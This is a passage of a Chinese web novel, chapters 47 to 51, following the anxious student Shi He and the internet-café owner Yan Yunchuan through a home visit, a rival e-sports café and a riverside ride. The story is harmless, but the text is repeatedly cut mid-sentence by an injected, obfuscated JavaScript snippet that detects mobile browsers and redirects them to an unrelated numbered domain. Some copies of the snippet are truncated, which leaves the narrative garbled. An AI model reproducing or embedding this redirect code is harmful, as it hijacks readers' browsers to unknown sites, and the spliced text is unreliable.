宴云川没谈恋爱,有两个阿婆比时和还高兴,恨不得现场开个相亲角,给家里还在高中的孙女提前预定一个“金龟婿”。时和听得不太舒服。然后,又有一个阿婆说:“小和能干的叻!交的朋友都是高知分子!不像我家那个不争气的!书不读书!整天跟一些网吧混混搞在一起!有家不归的!”他看见宴云川把手伸进了口袋里,肩膀动了动。 “网吧混混”这个词比头顶的太阳分量还要重。 “婆婆!”时和冲动抬眸,打断了所有交谈,阔别许久的社交能力仿佛回春,“我妈让我去买点水果,家里还有客人等着,我们要走了。” ** 加上之前的“情侣”事件,这是第二次被时和“保护”了。宴云川的心情像被什么东西搔了一下,有点微妙。 说来“混混”这称谓他也没少听,那些来网吧抓人的家长、说他逐渐堕落的三姑六婆,都说过类似的话:“读书厉害有什么用,不还是成了个混混。”他以为自己多少听习惯了。 他不习惯,时和也不习惯宴云川这么安静。 走过石板路,过了十九栋就是小区后街。水果摊子在一家烧鸭饭旁边,站在路口就能看见它深蓝色的遮阳篷还有绿色的招牌。时和还在为刚才阿婆那句“网吧混混”耿耿入怀。 “对不起。”时和低头说。 他像电视里的角色一样追悔莫及,脑海里闪过一连串的如果和不会:如果不是他脑热要下来,宴云川就不会跟他去水果店,不会遇见那几个阿婆,也不会听见那一番话,更不会这么安静。 正懊恼,一辆自行车避开减速带扭了过来。时和没注意,还想往前走,衣领倏地被一道力勾了过去,胳膊跟着往后拉,后背撞上了滚烫的温度。 酥麻感一路从颈椎传到耳后,耳后忽然响起声音:“学弟,看路。”他打了个颤栗。 骑自行车的看上去是个学生,一蹬三回头的说着对不起,最后消失在转角。烈日当空,中午来后街买东西的人又少,街口几家商铺店员本来在昏昏欲睡,听见声音好奇往外探着。 时和跟碰上了高压电似的弹了出去。 “对、对、” 他连说了几个对,没对明白。 帽檐突然被拍了一下。宴云川半带着他继续往前走,边走边说:“她们说的也没错。”声音很轻。 时和手指又蜷上了掌心。 宴云川笑着把剩下的话补完:“不是所有人都能在网吧玩着游戏考重点的,得靠天赋。所以,还是尽量远离网吧比较好。” “不过这话我说的立不住脚,用阿朔他们的话来说就是“自己撑了伞转眼就让别人淋个通透”,心虚,我就没说。” 明明是一句称得上凡尔赛的玩笑话,时和却总觉得他才是“被玩笑”的那个。一个奇怪的想法冒了出来:宴云川在说谎,他很在意。 可是怎么会呢?开网吧是宴云川自己的选择,说明宴云川对这个行业存在热爱。退一步来说,真的不爱了可以换一个行业重来,及时止损。而不是像宴云川这样,每天风雨无阻的往网吧跑。 走到水果店,时和依旧在分析着宴云川的话。 宴云川问了句:“要买什么?” 他顺口接:“葡萄。” 再回神的时候,宴云川已经提溜了一个特大号青葡萄果篮走了出来。身后跟着店员欢快又清脆的一声:“感谢您的光临,欢迎下次再来!” 他又想到了那天电话那句:“网吧不盈利。” 回去路上,时和好几次欲言又止。网吧盈利还是亏损,怎么开口都不像朋友或者师徒应该讨论的话题。他卡了好几次,脑子里倏地想到沈停。 “打PK,不怕被发现吗?”时和借着沈停提过的话提问。 宴云川不疑有他:“星络是小网吧,来的主播少,剩下那些常客通常不会关注老板在做什么。” 时和重点又落在了“小网吧”三个字上。 “网吧……” 他组织着措辞:“现在家家户户都有电脑。”言外之意大家都不用去网吧了,网吧怎么盈利。 虽然阔别考场多年,但这样的阅读理解,宴云川还是能听明白。 “听见那天的电话了?”宴云川脚步一滞。 “……” “声音太大。”时和说。 不是他偷听。 宴云川笑了笑,脚步继续,“这几年大部分的网吧都不好做,手游盛行,玩电脑的就少了,”或许有一天,网吧会跟以前的街机游戏厅一样,没落,消亡,“但多少也是能盈利的,跟网吧刚兴起的那些年不能比而已。” “可以转型。”时和抬着眼睛。 “嗯?” “转型,电竞馆。” “……” “谢了。”宴云川很轻地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807635|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 接手网吧两年,也有不少顾客或直接或间接的跟他说过给网吧转型。时和家里经商的,他知道,但隔行如隔山,酒店和网吧毕竟不是一回事。能直接说出“电竞馆”,说明时和查了资料。 他没想到一段电话会让时和放在心上这么多天,左手又不自觉地伸进衣兜,动作轻柔地捻了捻火机上的花纹,最后松开手,“不过,网吧现在这样挺好的。”不要变了。 “可——” 可这样下去网吧会走向亏损。时和想说。 蓦地,濯清出现在路口:“小和!” ** 沈停看见宴云川跟着濯清家长里短进门的时候,没忍住“噗嗤”笑了一声。接到宴云川挑眉的眼神,他用口型说:“我拦了,没拦住。” 濯清很好客,又应酬惯了,“小川”长“小川”短的叫得亲切,任谁来都看不出两人是第一次见面。 宴云川说了不下十句“谢谢阿姨”,她才进入下一个流程,让宴云川“随便坐”。 等到宴云川坐到身边,沈停朝厨房的方向努了努嘴,一咕噜的解释:“我阿姨五分钟就开始坐立难安,十分钟就开始打电话找人了,结果发现时和跑太快,连手机都没拿,差点儿急死。” 桌上摆着一部纯白iPhone,通知栏只有寥寥几条折叠消息,看模样像是被解锁过了。 宴云川虽然不经常去别人家做客,可基本的做客礼仪他还是明白:比如不要随便打量主人的空间。但周围摄像头目光太过火辣,他很难控制。 他简单环视客厅一周,最后落在正对沙发的一个摄像头上蹙了蹙眉,似乎很难想象时和每天坐在这里看电视的心情。可时和从进门到拎着葡萄去厨房,没有任何不适。就像呼吸一样自然。 “是不是很夸张?”沈停用手肘碰了下宴云川。“巨星”的生活终于来了个伴儿,他直接变成了话痨,“我真佩服他能这么轻松,跟个茧似的。如果我爸妈在家里装摄像头,我直接离家出走!” “茧?”宴云川重复着这个字。 “对啊。” “为什么是茧?” “因为蝴蝶是自由的。”沈停说。他两手搭在后脑,朝沙发靠过去,余光撇向宴云川,“蝴蝶总能扑棱两下挣扎,它是自由的。可是茧不是,茧被困住了,没有选择,除非蜕壳成蝶。就他——”说着目光又放在厨房洗葡萄的时和身上,眼睛和语气都透着大写加粗的“恨铁不成钢”,“我看他这辈子注定逃不出我阿姨的魔爪了。” 厨房关上推拉门,隔音很好。宴云川只能看见时和的背影,不知怎的,他感觉时和好像很高兴。 仿佛接收到宴云川目光似的,玻璃门里的背影转身。宴云川收回目光,又看向沈停。 他很想对沈停说:蝴蝶不一定是自由的。因为蝴蝶不一定可以挣扎成功。话到嘴边,变成了:“你最近哪来这么多文学见解。” 沈停耸耸肩:“林朔野这段时间沉迷话剧,半夜拉着我看了好几部。看多了总得沾点味儿。” “他还有这雅兴?” “嗯,被柚子吐槽了一轮,现在立志脱俗。” 宴云川笑了笑。 说话间,时和端着一盘葡萄走过来,眼尾漾着愉悦晃了下宴云川的眼睛。宴云川想到了曾经出海看见的海豚,有人靠近它们就凑上来,一直跟着,不断击水拍尾传递亲近,就像时和今天这样。 果然是高兴的。 48.Chapter·入股 有了宴云川,濯清跟沈停聊的几十个来回重新归零。在濯清眼里,宴云川不光是时和的朋友,还是一个商人。商人跟商人聊天都像在聊工作。譬如什么:网吧定位、用户粘性、发展趋势等等等等。 不到半小时,沈停已经摁着鼻子偷摸打了七八个哈欠,仿佛选修不小心点了一个工商管理的课,上得极为痛苦。他看向时和,原以为可以看到一个同样昏昏欲睡的脸,一眼望过去,就见时和盯着桌上葡萄若有所思,指尖在大腿上记录着什么。 一家子变态。 沈停给了评价,又加一句:还有宴云川。 桌上的葡萄空了两轮,濯清又泡了一壶茶。聊到时和手表响起游戏时间结束的提醒,才打破这一眼望不到头的“课题”。 时和掐了手表。宴云川看向挂钟,刚好四点整。跟发条一样的节奏,跟橱窗娃娃一样的生活。 濯清想留两人在家里吃晚饭。沈停如临大敌地倒吸一口凉气。直到宴云川说:“谢谢伯母。只是网吧五六点会有一波小高峰,我得回去帮着点,实在抱歉。等下回您回来我一定带着礼物再登门拜访。”卡在肺部的一团浊气才呼了出来。 这一系列小动作躲在宴云川身后,濯清没看见。“你这孩子,太客气了。”她拍了拍宴云川肩膀,“阿姨还要谢谢你这段时间照顾小和。” “照顾学弟,应该的。”宴云川说。话落,茶几发出一声巨响。 几人回头,发现时和碰倒了一个花瓶。 好在花瓶是陶瓷的,碎的还算工整,没见血。但濯清还是担忧地跨步上去,三下五除二捡起地上的碎片,又拿纸巾擦掉时和手上的水渍。 玄关处隐约听见:“……等会妈妈来弄……割伤你指头……乖……”宴云川忽然就明白了茧是什么意思——那是以爱为名的驯化。 ** 送走了宴云川和沈停,偌大的客厅又恢复针落可闻的寂静。人总是怕对比的。比如时和突然意识到,原来自己每天呆在这么安静的地方。他站在客厅中央晃了下神,说不上心里的失落从哪里来。 幻世录的网吧PK赛虽说为期半月,但各大报名的网吧不到三天就清空了奖品。官网赶着第一时间放出“捷报”。大家发现时和的ID不在PK赛的获奖名单上,世界频道因此热闹了好几天。 他们认定时和输了,又提起那天“有内幕”的对决,有人觉得宴云川浪费了一周的时间很不值。 时和嘴上跟宴云川说着不在意,却在单人场PK连打了一周,打出五十连胜,虐的单人场所有人出来求他放过。 第五十一败,败在匹配到了宴云川。 自那天做客后,宴云川似乎爱上了“学弟”这个称呼,无论是语音还是游戏,经常以“学弟,进队”、“学弟,跟随我……”作为开场。 “学弟,进步不少。” 就因为这句话,时和按空了一排技能。 濯清这次在家里呆的格外久,过了一个周末,她才恋恋不舍地被电话催着离开。 生活又恢复到了以往的节奏,吃饭、散步、午休、游戏。唯一不同的,就是时和在看书和吃饭之间插了一个新的计划:做电竞馆的企划书。他还是想帮宴云川。只是企划书做了个开头,时和发现他对星络网吧的了解甚至不如濯清。 第一次去星络的体验太过匆忙,除了知道星络有零食吧台,网管叫俞秋,其他一无所知。 “……得再去几趟。”时和靠在沙发上想着。 他拿起手机,点开沈停微信。沈停和林朔野放暑假了。按照约定,暑假他们一周得见两次面。可沈停好像忘了一样,濯清走了几天都没提这事。 时和轻咬着拇指指尖,拉出对话框打上两个字:[在吗?]打完看了几秒,又哐哐地删了。 他要怎么和沈停说?直接跟沈停说他想去网吧了?还是质问沈停为什么不约自己?想来想去,怎么说都不合适。 如果是宴云川…… 这么想着,时和点开了宴云川的聊天框。 [在忙吗?] 他很自然的发了消息出去。只是这次的消息过了十几分钟还没有回复。 墙上挂钟声音一如既往。明明客厅摆设都没有变化,一切按着计划表的时间进展,没有打乱计划的意外,也没有突如其来的社交。可时和竟然生出了无聊的念头。 对,就是……很无聊。 窗外还有蝉鸣,客厅什么也没有。 时和起身,回到房间。他坐在飘窗上戴起了耳机,又随机点开推荐歌单,把声音按到最大。耳机降噪,最大声震得耳膜发疼,可他还是觉得太安静了……为什么这么安静? 远处的列车开过一节又一节,楼下永远能看见奔跑撒欢的小朋友。耳机不知道什么时候跟手机分了家,歌声一直在外放,从粤语到中文,又转向了法语。法语刚唱上两句,倏地被粤语截断。 铃声响了十几秒,时和才猛地反应过来是微信语音。他一把摘下耳机,点开微信,看见熟悉的头像,忙不迭地按下接听。 “宴云川……”时和叫了一声。 电话里响起椅子拖动的声音,“抱歉,刚才秋儿交接班,有两个客人。”宴云川说。 “今天通宵班?” “中班,晚上有沈停和阿朔守着。” “好。” 说完“好”,电话就陷入了短暂的沉寂。很奇怪,房间比刚才还要安静的多,可那份无聊的感觉却再也没有出现过。 时和捏着抱枕边儿,捏得抱枕变了形他才继续问:“吃午饭了吗?” “阿朔刚打包回来,正准备吃。” “好……” 看来不能用猪脚饭的名头约宴云川出来了。他又揪起了抱枕,恨不得把抱枕揪哭替他约人。 正搜罗着以往濯清约人的名头,电话那头突然响起林朔野的声音,喊着一连串的“哥”从老远的地方飘了过来:“哥!哥哥哥!明天就跟我俩一起去呗!半小时!就半小时不多待!秋儿都说她能搞得定了!那俗话说的好,知己知彼才能百战不殆对吧!不刺探好敌情怎么打这波商战!” 宴云川淡淡怼了句:“电视剧少看。” 林朔野继续蹬鼻子上脸:“这还用电视剧演?它那名字都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816768|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么明显了!呐!星、际、矩、阵!星际、星络!包是冲着我们来的啊!” 两人交谈间,时和已经开了平板搜出了“星际矩阵”的关联信息。 他搜了三遍不同的关键词才找到一个榕城的地址,就在宴云川的网吧对面,历史关联信息是一家餐馆,两个月前还在做促销,看来刚倒闭不久。 “星际矩阵……电竞馆……”时和下意识跟着网页念了一遍。 宴云川听见,对着林朔野说:“我打着电话,你自己——”话没说完,林朔野声音跟含了麦似的出现在时和耳朵里:“跟谁打电话?宝贝儿吗!约宝贝儿一起去啊!” 时和听见“约”字,瞬间打起了精神,关了平板,也不管这个“约”字的开头结尾和附加条件,在心里默默给林朔野点了个赞。 他紧张地等着宴云川回复。 宴云川在电话里迟疑地说了一个:“他——” 林朔野又把话口截了过去:“哥,你不约我就让老沈去约了啊!” 两句话的功夫,抱枕就多了四个指甲印。 眼看要捏出第五个,宴云川应下了林朔野。 “行了,滚你的蛋。” 林朔野满意了:“等你好消息啊哥!” 等到林朔野的声音消失在听筒里,宴云川问道:“明天来网吧玩吗?我上早班。” 时和秒回:“好。” ** 隔天,宴云川本说来接时和,但想到这两天网吧很忙,加上时和想给自己多一点路上做心理建设的时间,便婉拒了宴云川。 今天网吧的网管不是俞秋。一个丸子头女声站在收银台后,看见时和进来热情地打着招呼:“您好!欢迎光临星络网吧!” 时和还在看着宴云川刚发的信息。 宴云川:“包厢有台电脑要修一下,嗯,大概十分钟。可以在老地方等我一会。” 他是回着信息走进来的,等打好字反应过来的时候人已经站在玻璃门里面了。 “您好,是要开卡还是上机?”见时和站在门口没动静,丸子头女声又问了一声。她像是特别担心顾客流失的模样,恨不得亲自去把时和接过来,嘴里不停介绍着:“网吧新客有促销,首次充值100%赠送,充值满五百还能参加幸运抽奖!热门游戏还有价值200元的7天至尊特权体验哦!” 时和害怕热情,整个人都是懵的。搭建了一路的心理建设因为一个陌生面孔再次崩塌,对陌生环节本能的“战逃”反应刺激了他的肾上腺素,以至于他耳朵出现了短暂失聪。 耳鸣声迟迟没有散去。丸子头女声还在一开一合的说着什么,时和听不真切。只看到女声歪着脑袋,嘴巴上下碰了几轮,最后走到门口,热情地对他弯下了腰:“临时卡也可以的哦!”耳鸣消失了。 八分钟过后,宴云川从包厢出来,在走廊尽头就看见丸子头女声拿着扫码枪贴近了时和手机。他快步走上去,可惜双腿敌不过科技。只听“滴”的一声,视线里出现了一片惨白的“¥3000”。 宴云川:“……” 好样的,可以直接入股了。 49.Chapter·抽奖 走进收银台,电脑还显示着订单界面,三千的金额像极了白虎踩着圣兵在屏幕上奔跑。 丸子头女生看见宴云川过来,侧着身给宴云川让了个位置,头上扎着的蝴蝶结兴奋得仿佛要飞起来。她两手朝时和做了个迎宾的动作,向宴云川介绍:“川老板!时和!我拉的大客户!人直接冲了三千呢!可以送两瓶饮料吗?” 宴云川头疼。 网吧第一次有“股东”入驻,入驻流程还不完善。譬如“股东能不能拿收银台两瓶可乐”这个问题他就没搞明白。他揉着眉心,脑子没醒过来,对着女生开口就说:“可以全部拿走。” “啊?” 女生张大了下巴。 收银台前,时和站着听两人谈话,目光虚空地放在收银台的键盘上,握着背包的手已经从疼痛走向发麻。他也不知道现在是什么情况,怎么自己就站在收银台前面了,还消费了三千。 不过这样的状态对比第一次来算好的,没有因为心跳过快而窒息,只是有点儿胃痛,有点儿胸口发紧,感觉面前的笑容有点刺眼而已。 收银台的键盘旁摆着一个粉色火机。 丸子头女生还在问宴云川能不能送两瓶可乐。时和看见她的手越过键盘偷偷伸向桌底,好像比了个手势,又朝宴云川使了两下眼色。 火机滑到桌边,他握着书包的手指跟着金属声音攥得更紧了些。攥到书包肩带成了一条线,肩上的重量倏地腾空。他抬头,宴云川不知什么时候走到身侧,接走了书包,又带着他往收银台里面走,拉开收银台旁边电脑的椅子,让他坐了下去。 然后,他听见宴云川说:“他喝不了可乐。” 收银台的氛围顿时染上了几分微妙。 时和抬了抬眼皮。只见宴云川走进收银台,从零食吧台区角落拿了个纸杯,又从另一侧倒了杯温水,站在他身后把杯子递了上来。 “胃疼喝点温水。”宴云川说。 水杯里的灯光准确倒映进眼睛里,闪了一下。 女生看着那杯水“啊”了一声,眼神在宴云川和时和身上走了几个来回,忽然叫了出来。看见时和手里的水杯抖了一下,她又捂着嘴巴,自以为捂住声音说:“该死!两个帅哥!早该猜到的!” “……” 宴云川这才按着太阳穴介绍:“这是翁家阳,新来的暑假工。秋儿介绍的。” ** 接下来的两分钟,翁家阳一直在鞠躬和道歉的路上。她道一句歉,时和就摇一次头,说一声没事,耳垂跟着红一厘。 到最后,两个下机离开的客人走过来,问宴云川这是在做哪门子的法,两人才算消停。 时和耳垂的红晕已经蔓延到了锁骨,面前的纸杯也因为焦虑和紧张咬出了半圈牙印。 宴云川瞥了一眼。 他看向翁家阳:“去吃早餐吧。” 翁家阳“欸”一下:“不等秋儿他们回来么?” 听见宴云川回:“没事,有我在。”翁家阳隔着玻璃比了两个爱心,头也不回地跑了。 等人离开,时和肩膀瞬间松懈下来。 宴云川挑了挑眉,伸手从角落里拿出一个七成新的转盘。转盘上有着十五个小格,从吧台零食到千元网费,种类还算丰富。按照规则,网吧充值金额达到五百就可以有一次抽奖。他试着转了一圈,见还灵敏才摆到时和面前。 “试试。” “嗯?” 时和还处在踏错节拍的余懵中。 “可以抽转盘,”宴云川拿过前台的充值促销立牌,指着充值活动后面的小字。 明明小字写着充值五百及以上可以获得一次抽奖机会,他却说:“给你抽两次。”好在七点的网吧人不多,老板公然“内幕”的事没被客人看见。 于是,时和锦鲤上身,第一次就抽中了一等奖,三千网费。 宴云川愣了一下,随后轻笑一声。 三千大概是什么咒术,宴云川心想。圣兵三千,白虎三千,充值三千,转个转盘也是三千。 说不定他上辈子欠了时和三千块钱,以至于这辈子怎么也摆脱不了这个数字。 “还抽么……”时和问。 他点点头:“继续。” 第二次,时和转得小心翼翼,生怕又转出一个三千。他看着转盘呼啦按下去,转了两圈,从三千下面的五百一路往上,又在三千的区间慢了下来,内心有点崩溃。 “要不——” 时和刚想说,要不这次算了,指针停了下来,刚好越过三千,落在了三千后面的电影票上。 好在不是三千。时和在口罩下呼了口气,倏地听见宴云川问:“想看什么电影?” 话题跨度太大,他没反应过来。 宴云川敲着桌:“暑期档有几部预告还不错。” 时和张了张嘴。 正想说什么,网吧大门被推开,一束阳光照进来,落在收银台上。门口走进三个开卡的顾客,宴云川起身挡在他身侧,熟练地说着重复了上千遍的开场白:“欢迎光临星络,开卡还是上机?”他低头躲开了那三人试图打量的目光。 宴云川手腕无数在视线里次抬起又落下。时和看得愣神,心里想的却是刚才那一瞬即逝的阳光,几年前从电影院出来,也有一样的场景。四年还是五年?好像是初三?那是他在电影院看的最后一部电影,重映版,杰克赢得了一张船票。 他挺久没去过电影院了,之前是因为忙着赶课没时间去,现在是去不了。会犯病。 记忆里的电影院轮廓越来越模糊。 还没来得及拼凑出一个完整的形状,宴云川倏地转身:“刚才想说什么?” 时和没回神,脱口而出:“我去不了电影院。” 去不了和不想去,区别很大。 收银台空气突然被割出了巨大的口子。时和后背绷得笔直,全身氧气都在一点点流逝。他屏着呼吸,不敢想宴云川能从这句话里得到多少信息。 宴云川勾过手边火机转了一圈,没说话。时和也没说话,但手腕力道更大了些。 网吧客区时不时传来一两句国粹,又有人开嗓骂“让不让人补觉了”。两人互呛了两句,以一个“草”字收尾,不知道是谁让了步。 客区刚安静会,宴云川措不及防地问:“想过有一天会坐在网吧收银台吗?” 有了刚才的失误,时和这会思考了才摇头。 宴云川又问:“会不会很紧张?” 他又点点头。 “我刚接手网吧那会也很紧张。”宴云川说。 时和的表情终于有了松动。 似乎在掂量宴云川这句话的真实性,过了好一会,他才攥着纸杯问:“你也会紧张吗?” “会。”宴云川回的很认真,人接触未知领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“星际矩阵”的老板大概率是钱多没地方花,才会在上楼的楼梯贴满了金丝大理石纹砖。时和走上去还以为进了什么五星级酒店。不光地砖,楼梯间还贴满了促销宣传单,金灿灿的“免费上网”几个字比旁边的“陪玩包月”还要亮瞎人眼。 他站在楼梯间,听见林朔野说话的回声:“我还以为这里会再开一家菜馆……” 沈停回了句:“当时装修我就跟你说不对劲,哪有菜馆装灯管的,又不是酒——” 话没说完,林朔野嚎了一嗓子:“卧槽!陪玩包月竟然要两千!”给他吓得左脚险些崴了右脚。 好在楼梯间镶了防滑条,没有真摔下去。但还是退了两步。退到楼梯口,右脚没来得及落地,宴云川拖了一下时和腰:“小心。”声音不开口还好,开口直接让人从腰软到了脚后跟。 人接触未知领域总会紧张的,这话没错。譬如,时和第一次发现有人碰自己的腰会浑身发痒。他反应如遭雷击:“我、你、谢、我可以走!” 无与伦比的声音在走道里被扩散了好几倍。林朔野听见,从扶手边探头:“哥!你俩干嘛呢?” 时和心虚,一步三跨上了楼。 身后的脚步不疾不徐地跟着,始终保持一个阶梯的距离。扶手上的人头又催了句:“快点儿上来啊哥!”等人头缩回去,声音钻进网吧,身后的脚步顿了一下。时和听见宴云川说:“后来我发现,原来从网吧回我住的地方,一共有三十二条不同的路。” 那天,他逃跑了。 50.Chapter·纪帆 从星际矩阵跑出来,时和的心跳就没停过。 临近七月,榕城熬过了湿重的雨季,蝉鸣愈发轻快。宴云川不知道从哪弄来一辆电车,带着他走了一条从没走过的路。 他听着蝉声,抬眼看见丁达尔光穿透榕树梢,电车在光柱间穿梭。风掠过手臂,这座城市的风景,眨眼之间触手可得。就像…… 就像电影里杰克拽着露丝冲上船头那一秒。 开到榕江边,宴云川把车停下来。 “怎么样。”宴云川问。 这半年,为了快点好起来,时和做过最多的事就是“尝试”。尝试去看心理医生、尝试进入活动咨询室、尝试跟人聊天、尝试玩游戏、尝试见沈停,也尝试答应了林朔野。这是他第一次主动“逃跑”。 时和还处于兴奋状态,眼睛比江水还亮。人兴奋的时候说话是很坦诚的。他话不过脑,说着:“特别、特别、特别刺激!”总共说了三遍特别。 榕江作为榕城主江,每个行政区都有一条沿江路。沿江路向来作为市标修建,两旁的老榕树跟着这座城市一起长大,长到蔽日遮天,枝叶从江边横跨到马路对岸。时和就站在一片绿荫之下笑着,笑得宴云川晃了下眼。 “那你——”宴云川差点问:“那你开心吗?”好在一阵江风吹醒了脑子,没有越界。 可时和却说:“宴云川,谢谢!” “那你开心吗?”他还是问了。 问题的答案也在意料之中。是开心的。 时和的情绪总是写在脸上,尤其是开心的时候。像上回在他家做客那样,他很高兴,小动作就会多一些,说话蹦出来的字也会多一些。 宴云川看着石栏边接江风的背影笑了笑。他走到时和身侧,闭眼感受了会,又睁眼眺着望不到尽头的江面:“这里我来过很多次。”他说道。 旁边接风的人望过来:“很多次?” “嗯,应该有……”宴云川回忆了一会,“数不清了。我只记得,第一次是网吧有几个客人打起来了,报了警……第二次是我被投诉——” 说到投诉,时和的眉头瞬间皱起来了。宴云川顿了一下,鬼使神差地扣了扣时和的帽子。 扣到时和上手阻拦,手碰到手,他才猛地缩回来,摸了摸喉结继续说:“不是什么大事。有人抽烟,劝不动就帮他戒了。” 说戒了比较体面 事实是那会他刚接手网吧没多久,大概顾客看他面生,不卖他面子也不怕他。他那几天本来就心烦,又是中二病还没过的年纪,直接拿着打火机,接了一纸杯的水,上手就把顾客整包烟烧了。 像这样的事还有很多。可宴云川没有再继续说下去,毕竟带时和出来的本意不是为了追溯过往的中二岁月。他看向时和一直没松开的眉头,又想抬手盖上。手抬到半空,理智让他收了回来。 “下回遇上没准备好的事可以躲,一直没准备好,就可以来这里吹吹风,”宴云川声音混在风里,“这条路的江风比其他路都烈。多来几次,来烦了,有些事就被风给吹散了,也不那么重要了。” 原来宴云川看出来了。 在楼梯间,他后悔答应林朔野,后悔出门。 江风吹的榕树叶子簌簌往下掉。时和握紧了石栏。他想到心理医生曾经对他说:“人是一个求生欲很强的生物,他们遇见烈火会逃跑,看见春花又会迎上去。所以呢,人这一生,本质上是无数次的逃跑与无数次的赴约。” 宴云川就像江边的“春花”。他想逃离星际矩阵、想逃离网吧来开卡的客人,甚至想逃离游戏,可他独独想靠近宴云川。 想靠近,想了解,想知道更多。 “宴云川——”时和喊了一声,喊完又不知道自己想说什么。很奇怪,好几次了,明明没有犯病,面对宴云川心脏就会不受控制的跳动。 “宴云川。”时和又喊了一声。 为什么要带他来这?上次是为什么,这次又是为什么?为什么要收他做徒弟?长安古韵千万玩家,为什么偏偏是他?时和在心里把问题挨个问了一遍,话到嘴边,又像是害怕得到自己不满意的答案一样退缩了。他抬头,眼里装满了宴云川,说道:“三千的网费,换一张电影票可以吗?”这是他离开榕江边说的最长的一句话。 ** 回到家,江风冷却下来,时和觉得自己刚才一定疯了。他怎么会说出换电影票这么奇怪的话!这跟直接说“我想跟你看电影”有什么区别! 他一头把自己栽进被窝里,疯狂抓着脑袋,又来回翻了好几个面儿,最后崩溃地点开微信,想转移一点话题,让宴云川把这件事忘掉。 微信点开,他发现不光他疯了,林朔野也有点疯。小群里,林朔野疯狂@宴云川,成语从“暗渡陈仓”用到“抛妻弃子”,最后用三分钟一个录像的方式控诉自己在星际矩阵遭受的“虐待”。 宴云川发了张图片:“想要哪个手办?” 林朔野秒变东厂公公:[哎哟喂!劳陛下挂念!奴才我随手发的图您还存着!只是选手办这点小事儿哪敢劳烦陛下您哪?第五排第三个谢谢!] 沈停:[……] 沈停:[以后离我远点,我与东厂不共戴天。] 群消息的末尾,林朔野@他: [宝贝儿!我哥送你了!包邮免费!] 时和整张脸都红了。他好像断片了一样,一下子忘了要转移话题这件事,在群里回了个沉默不语的表情包,又往上点开了林朔野发的视频。 星际矩阵内里和那五星级酒店的楼梯一样豪华,亮堂的不像网吧。视频里时不时有穿着粉色棒球裙的女生在座椅间穿梭而过,棒球服背面印有星际矩阵的品牌LOGO。时和听见林朔野小声逼逼了一句:“我的妈呀,十几个陪玩。” 第二个视频,是洗手间角落和垃圾桶的烟头。 第三个视频是一只手,那只手做他对面,食指和中指之间叼着一根抽了半截的烟。林朔野还把镜头对向了墙上钉着的“禁止吸烟”告示牌,嘻嘻哈哈对沈停耳语:“你说我打监管局电话能不能让它倒闭?”沈停回了句:“试试。” 这通举报电话最终有没有打,时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人寒暄得起劲,身后跟着吐槽的人似乎不满自己被冷落,“草”了一声:“性能好也遮不住它又小又破!”他不顾伙伴的颜色,抱着手臂开始指点江山,“这墙也不知道多久没刷,墙皮都掉了,还有那灯!多装几排能花几个钱?他妈上个网跟搞地下党一样!干嘛不去对面那家电竞馆?” 领头那熟客讪讪对俞秋说了声“不好意思”,又给吐槽的人虚虚来了一拳:“行行好吧!那家电竞馆不禁烟!我上回去了一次犯了一星期咽喉炎!花了我大剌剌八百!现在还咳着!” “纪少爷,”他把人拉到一边,“看在我把我妹联系方式给你的份儿上,你卖我个面子成不成?咱就在这玩半天!半天成吧!你不舒服咱再换!” “你喜欢这个网管啊?”吐槽的人挤了下眼睛。 那人一拳上了力道:“操!你别乱点谱!” 许是把人弄急了眼,成功满足存在感,吐槽的人勉为其难地答应了。 “就半天啊!” “成!半天!我谢谢你!” 两人跟密谋要炸了网吧似的密谋了三分钟,同行的剩下两个人一看就没什么话语权,只是对着俞秋笑了笑,又低头玩起了手机。 等密谋好了,人顺了毛,俞秋接过那人不情不愿递过来的身份证,眼神瞥了一下身份证上的名字。纪帆。名字倒是挺工整,人长得也挺不错,就这脾气,还不如万分之一个沈停。 51.Chapter·送客 幻世录视频大赛的初赛结果出来了,帮派有五个人进了复赛,其中包括柚子。按理说这是一件值得庆祝的高兴事,柚子却愁了好几天。 原因无他,这活动策划也不知道是偷懒还是真有大智慧,复赛的主题跟初赛一模一样:你眼中的幻世录。就改了末尾三个字。 柚子在麦里嗷嗷捶桌:“我眼中的幻世录就是钱堆上面长了个器官!又肝又氪!这能说吗?” “不行你就用上次的创意呗。”沈停说,“我看那个视频挺多人点赞,说明大家爱吃这口饭。” 这个提议遭到了柚子的否定:“那怎么行!” 沈停反问:“怎么不行?” 柚子说:“同样的类型做两次那叫炒冷饭呀!” 作为游戏专业的理工生,沈停实在不能理解同样的类型做两次跟炒冷饭之间有什么联系。就像幻世录,在它之前还有其他的MMORPG题材一样。它只是借了前人种下的树拿来纳凉的纳凉者,但只要纳了凉能够有所感悟,一样能成为栽树的人。 “冷饭——” 沈停想说“冷饭热一热照样能吃”。 